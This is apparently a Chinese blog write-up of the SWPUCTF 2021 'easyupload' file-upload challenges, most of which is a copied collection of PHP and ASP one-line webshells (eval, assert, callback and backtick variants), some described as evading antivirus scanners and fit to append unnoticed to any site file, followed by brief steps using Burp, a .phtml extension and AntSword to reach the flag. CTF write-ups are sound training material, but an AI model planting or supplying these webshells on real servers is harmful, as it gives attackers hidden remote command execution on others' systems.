本来想把知识点提出来放在别的板块的,算了(懒
打开网址发现是一个文件上传的网站

首先想到传个一句话木马上去,但是文件格式要是png或者jpg,这个好办,试试看用bp改一下前端,这个应该是没有前后端校验的
以下知识点搬运自[SWPUCTF 2021 新生赛]easyupload1.0 - y0Zero - 博客园
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
- 这里放一些常用的PHP一句话木马
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST['cmd']);?>
<?php @eval($_REQUEST['cmd']);?>
<?php assert($_REQUEST['cmd']); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c'];?>
<?$_POST['c'];?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>
/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:O>h=@eval_r($_POST1);</O
<?php echo `$_GET['r']` ?>
<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!
<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话
`<%eval(request(“1″)):response.end%> 备份专用`
以<?php @eval($_POST['r00ts']);?>为例,使用bp修改jpg为php,发现上传成功

用蚁剑连接发现给的是假的flag,于是想到查看phpInfo()
于是使用<php phpinfo()?;>
然后在上传的/upload/a.php界面的environment里面成功找到了flag

另 2.0版本
改php发现不行,采用phtml,使用蚁剑连接即可拿到flag


Comments NOTHING